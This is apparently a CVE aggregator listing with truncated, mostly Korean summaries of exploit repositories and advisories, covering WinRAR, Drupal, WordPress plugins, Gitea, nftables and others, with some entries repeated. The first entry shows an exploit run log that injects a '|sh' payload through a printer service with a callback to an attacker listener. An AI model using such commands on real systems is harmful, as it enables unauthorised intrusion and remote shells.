CVE-2026-4480

익스플로잇 실행: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated payloa...

check-cve-2026-23111

CVE-2026-23111 방어적 검증 스크립트 개요 CVE-2026-23111은 nftables에서 발생하는 리눅스 커널 취약점으로, 사용자 네임스페이스user namespaces와 nftables가 활성화된 시스템에서 권한이 없는 사용자가 로컬 권한 상승에 악용할 수 있습니다.12 공공 벤더 및 정부 권고에서는 이를 리눅스 배포판에 영향을 미치는 로컬 문제로 설명하며, 패치 적용을 주요 해결 방안으로 강조합니다.34 이 리포지토리는 방어적 검증 스크립트 를 포함하고 있으며, 이는 권한 상승 익스플로잇을 제공하지 않고 호스트...

CVE-2024-49328-exploit

CVE-2024-49328-exploit 🌟 설명: 이 스크립트는 WordPress용 WP REST API FNS 플러그인의 권한 상승 취약점을 악용합니다. 이 취약점은 1.0.0 이하의 모든 버전에 영향을 미치며, 인증되지 않은 공격자가 관리자 권한을 획득할 수 있습니다. ⚙️ 사용법 options: -h, --help show this help message and exit -u URL, --url URL Base URL of the WordPress site -e NEWEMAIL, --Newemail NEWEMAIL New...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831에 대한 POC 데모 취약점에 대한 간략한 설명 CVE-2023-38831은 소프트웨어 취약점입니다. 악용된 소프트웨어는 거의 모든 사람이 널리 사용하는 WinRAR입니다. 이는 다양한 문서나 파일을 작은 아카이브zip 파일 형식로 만들어 공간을 절약하고 파일 공유를 더 쉽고 빠르게 해주는 소프트웨어입니다. 이 취약점은 2023년 4월에 발견되었습니다. Windows 운영 체제와 6.22 이하 버전에 영향을 미칩니다. 이는 WinRAR 백엔드 코드에서...

WordPress WP User Profiles plugin <= 2.7.3 - Privilege Escalation vulnerability

Privilege Escalation vulnerability discovered by Nguyen Viet Tin in WordPress Plugin WP User Profiles versions = 2.7.3...

CVE-2023-4279

CVE ID : CVE-2023-4279 취약점 유형 : IP 주소 스푸핑 설명 : 이 플러그인은 잠재적으로 신뢰할 수 없는 헤더에서 클라이언트 IP 주소를 가져와 공격자가 해당 값을 조작할 수 있게 합니다. 이는 악성 트래픽의 출처를 숨기는 데 사용될 수 있습니다. 재현 단계 : 1. In User Activity Log Settings, enable the setting "Allow Ip Address of users to log." and save settings. 2. Run the following code in th...

audit-xss-cve-2020-7934

CVE 2020-7934 CVE 실행 방법 요구 사항 1. docker 참고 사항 공격 스크립트를 온라인에 올릴 수 있습니다 JS 코드 제공 http://yourjavascript.com/ 공격용 JS 스크립트 온라인 html 설정 명령어 1. 이 프로젝트의 루트 폴더로 이동 2. "sudo docker-compose up --build" 실행 3. 새 터미널: "docker inspect liferay" 실행 == IPAddress 값 복사 4. 새 터미널: "python apiattacker.py" 실행 5. 브라우저를 열...

CVE-2026-20896

CVE-2026-20896: Gitea Docker 이미지 인증 우회 PoC !WARNING 이 PoC는 로컬 실습 환경 또는 명시적으로 테스트 권한을 부여받은 시스템에서만 사용하십시오. https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b 개요 CVE-2026-20896 은 영향을 받는 공식 Gitea Docker 이미지의 인증 우회 취약점입니다. 리버스 프록시 인증이 활성화된 경우, 이미지에서 생성된...

CVE-2018-7600

CVE-2018-7600 Drupalgeddon2 익스플로잇 – Python3 면책 조항: 이 프로젝트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 소유하지 않았거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에서 이 코드를 사용하지 마십시오. 무단 사용은 불법 이며 법적 처벌을 받을 수 있습니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 설명 이 Python3 스크립트는 CVE-2018-7600 Drupalgeddon2 취약점을 악용합니다. 이는 여러 Drupal 버전에 영향을 미치는 치명...

CVE-2026-105253

A vulnerability was determined in itsourcecode Online Admission System Project 1.0. This issue affects some unknown processing of the file /admin/login1.php. This manipulation of the argument User causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed...

CVE-2026-103511

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2023-3897

CVE-2023-3897 Windows 배포에서 On-premise SureMDM 솔루션의 CAPTCHA 우회를 통해 사용자 이름 열거가 가능하며, 이를 통해 공격자가 오류 메시지를 통해 로컬 사용자 정보를 열거할 수 있습니다. 이 문제는 SureMDM On-premise 6.31 및 이하 버전에 영향을 미칩니다. https://nvd.nist.gov/vuln/detail/CVE-2023-3897...

CVE-2026-20841

CVE-2026-20841 - Windows Notepad リモートコード実行 RCE セキュリティ研究・技術分析リポジトリ ⚠️ このリポジトリは教育、防御、研究目的のみに使用されることを意図しています。 📖 概要 CVE-2026-20841 は、Microsoft Windows Notepad の Markdown 処理機能に影響を与える重大なリモートコード実行 RCE 脆弱性です。 攻撃者は、脆弱なバージョンの Windows Notepad で特別に細工されたファイルが開かれた場合に、任意のコード実行を引き起こす可能性があります。 影響 リモートコード実行 RCE...

CVE-2026-103511

Prior to version 2026.4.2 , Perforce P4 Search is vulnerable to an arbitrary file-write flaw. The software fails to validate file names provided to its extension installation feature . An attacker possessing super-user or service-token privileges can exploit this to write files containing arbitra...

CVE-2026-103511 Arbitrary file-write via extension installation in P4Search

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2026-103511 Arbitrary file-write via extension installation in P4Search

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2024-12172

CVE-2024-12172 WP Courses LMS – 온라인 강좌 빌더, eLearning 코스, 강좌 솔루션, 교육 과정 = 3.2.21 - 인증된 사용자구독자 이상의 임의 사용자 메타 업데이트에 대한 인증 누락 설명 WP Courses LMS – 온라인 강좌 빌더, eLearning 코스, 강좌 솔루션, 교육 과정 WordPress 플러그인은 3.2.21 및 이전 모든 버전에서 wpcupdateusermetaoption 함수에 기능 검사가 누락되어 인증되지 않은 접근에 취약합니다. 이로 인해 구독자 수준 이상의 인증된...

CVE-2021-46073

CVE-2021-46073 익스플로잇 제목: Vehicle Service Management System - 'User List' 저장형 크로스 사이트 스크립팅 XSS 익스플로잇 작성자: SANU P.L CVE: CVE-2021-46073 CVSS: 4.8 MEDIUM 참고 자료: https://www.plsanu.com/vehicle-service-management-system-user-list-stored-cross-site-scripting-xss...

CVE-2026-105253 itsourcecode Online Admission System Project login1.php sql injection

A vulnerability was determined in itsourcecode Online Admission System Project 1.0. This issue affects some unknown processing of the file /admin/login1.php. This manipulation of the argument User causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed...

CVE-2026-105253 itsourcecode Online Admission System Project login1.php sql injection

A vulnerability was determined in itsourcecode Online Admission System Project 1.0. This issue affects some unknown processing of the file /admin/login1.php. This manipulation of the argument User causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed...